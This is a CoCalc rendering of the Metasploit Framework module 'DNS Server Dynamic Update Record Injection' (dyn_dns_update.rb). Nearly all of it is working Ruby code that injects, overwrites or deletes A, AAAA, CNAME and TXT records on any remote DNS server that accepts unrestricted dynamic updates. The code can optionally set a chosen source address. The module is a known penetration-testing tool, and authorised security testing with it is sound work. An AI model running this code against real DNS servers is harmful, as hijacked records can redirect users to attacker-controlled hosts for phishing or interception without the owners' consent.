CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/dns/dyn_dns_update.rb
Views: 11783
1
# -*- coding: binary -*-
2
##
3
# This module requires Metasploit: https://metasploit.com/download
4
# Current source: https://github.com/rapid7/metasploit-framework
5
##
6
7
require 'dnsruby'
8
9
class MetasploitModule < Msf::Auxiliary
10
11
def initialize
12
super(
13
'Name' => 'DNS Server Dynamic Update Record Injection',
14
'Description' => %q{
15
This module allows adding and/or deleting a record to
16
any remote DNS server that allows unrestricted dynamic updates.},
17
'Author' => [
18
'King Sabri <king.sabri[at]gmail.com>',
19
'Brent Cook <brent_cook[at]rapid7.com>'
20
],
21
'References' => [
22
['URL', 'https://www.tenable.com/plugins/nessus/35372'],
23
['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'],
24
['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'],
25
['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/HostScripts/DNSInject.py']
26
],
27
'License' => MSF_LICENSE,
28
'Actions' => [
29
['UPDATE', 'Description' => 'Add or update a record. (default)'],
30
['ADD', 'Description' => 'Add a new record. Fail if it already exists.'],
31
['DELETE', 'Description' => 'Delete an existing record.']
32
],
33
'DefaultAction' => 'UPDATE'
34
)
35
36
register_options([
37
OptString.new('DOMAIN', [true, 'The domain name']),
38
OptAddress.new('RHOST', [true, 'The vulnerable DNS server IP address']),
39
OptString.new('HOSTNAME', [true, 'The name record you want to add']),
40
OptAddress.new('IP', [false, 'The IP you want to assign to the record']),
41
OptString.new('VALUE', [false, 'The string to be added with TXT or CNAME record']),
42
OptEnum.new('TYPE', [true, 'The record type you want to add.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']]),
43
OptAddress.new('CHOST', [false, 'The source address to use for queries and updates'])
44
])
45
46
end
47
48
def record_action(type, type_enum, value, action)
49
# Send the update to the zone's primary master.
50
domain = datastore['DOMAIN']
51
fqdn = "#{datastore['HOSTNAME']}.#{domain}"
52
opts = {nameserver: datastore['RHOST']}
53
if datastore['CHOST'] && datastore['CHOST'] != ""
54
if Rex::Socket.is_ipv4?(datastore['CHOST'])
55
opts[:src_address] = datastore['CHOST']
56
elsif Rex::Socket.is_ipv6?(datastore['CHOST'])
57
opts[:src_address6] = datastore['CHOST']
58
end
59
end
60
resolver = Dnsruby::Resolver.new(opts)
61
update = Dnsruby::Update.new(domain)
62
updated = false
63
case
64
when action == :resolve
65
begin
66
answer = resolver.query(fqdn, type)
67
if (answer.answer.count > 0) then
68
print_good "Found existing #{type} record for #{fqdn}"
69
return true
70
end
71
return false
72
rescue Dnsruby::ResolvError, IOError => e
73
print_good "Did not find an existing #{type} record for #{fqdn}"
74
vprint_error "Query failed: #{e.message}"
75
return false
76
end
77
when action == :add
78
print_status("Sending dynamic DNS add message...")
79
update.absent("#{fqdn}.", type)
80
update.add("#{fqdn}.", type_enum, 86400, value)
81
begin
82
resolver.send_message(update)
83
print_good "The record '#{fqdn} => #{value}' has been added!"
84
updated = true
85
rescue Dnsruby::ResolvError, IOError => e
86
print_error "Cannot add #{fqdn}"
87
vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."
88
vprint_error "Update failed: #{e.message}"
89
end
90
when action == :delete
91
begin
92
print_status("Sending dynamic DNS delete message...")
93
update.present(fqdn, type)
94
update.delete(fqdn, type)
95
resolver.send_message(update)
96
print_good("The record '#{fqdn} => #{value}' has been deleted!")
97
updated = true
98
rescue Dnsruby::ResolvError, IOError => e
99
print_error "Cannot delete #{fqdn}"
100
vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."
101
vprint_error "Update failed: #{e.message}"
102
end
103
end
104
updated
105
end
106
107
def update_record(type:, type_enum:, value:, value_name:)
108
if value.nil? || value == ""
109
print_error "Record type #{type} requires the #{value_name} parameter to be specified"
110
return
111
end
112
force = datastore['CHOST'] && datastore['CHOST'] != ""
113
case
114
when action.name == 'UPDATE'
115
if force
116
record_action(type, type_enum, value, :delete)
117
record_action(type, type_enum, value, :add)
118
else
119
if record_action(type, type_enum, value, :resolve)
120
if record_action(type, type_enum, value, :delete)
121
record_action(type, type_enum, value, :add)
122
end
123
else
124
record_action(type, type_enum, value, :add)
125
end
126
end
127
when action.name == 'ADD'
128
if force
129
record_action(type, type_enum, value, :add)
130
else
131
if record_action(type, type_enum, value, :resolve) == false
132
record_action(type, type_enum, value, :add)
133
else
134
print_error "Record already exists, try DELETE or UPDATE"
135
end
136
end
137
when action.name == 'DELETE'
138
if force
139
record_action(type, type_enum, value, :delete)
140
else
141
if record_action(type, type_enum, value, :resolve)
142
record_action(type, type_enum, value, :delete)
143
else
144
print_error "Record does not exist, not deleting"
145
end
146
end
147
end
148
end
149
150
def run
151
ip = datastore['IP']
152
value = datastore['VALUE']
153
begin
154
case
155
when datastore['TYPE'] == 'A'
156
update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip, value_name: 'IP')
157
when datastore['TYPE'] == 'AAAA'
158
update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip, value_name: 'IP')
159
when datastore['TYPE'] == 'CNAME'
160
update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value, value_name: 'VALUE')
161
when datastore['TYPE'] == 'TXT'
162
update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value, value_name: 'VALUE')
163
else
164
print_error "Invalid Record Type!"
165
end
166
rescue ArgumentError => e
167
print_error(e.message)
168
rescue Dnsruby::OtherResolvError
169
print_error("Connection Refused!")
170
rescue Dnsruby::DecodeError
171
print_error("Invalid DNS reply, ensure you are connecting to a DNS server")
172
end
173
end
174
end
175
176